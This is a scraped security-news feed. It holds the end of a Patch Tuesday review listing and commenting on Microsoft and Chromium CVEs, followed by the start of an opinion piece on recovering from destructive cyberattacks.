  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



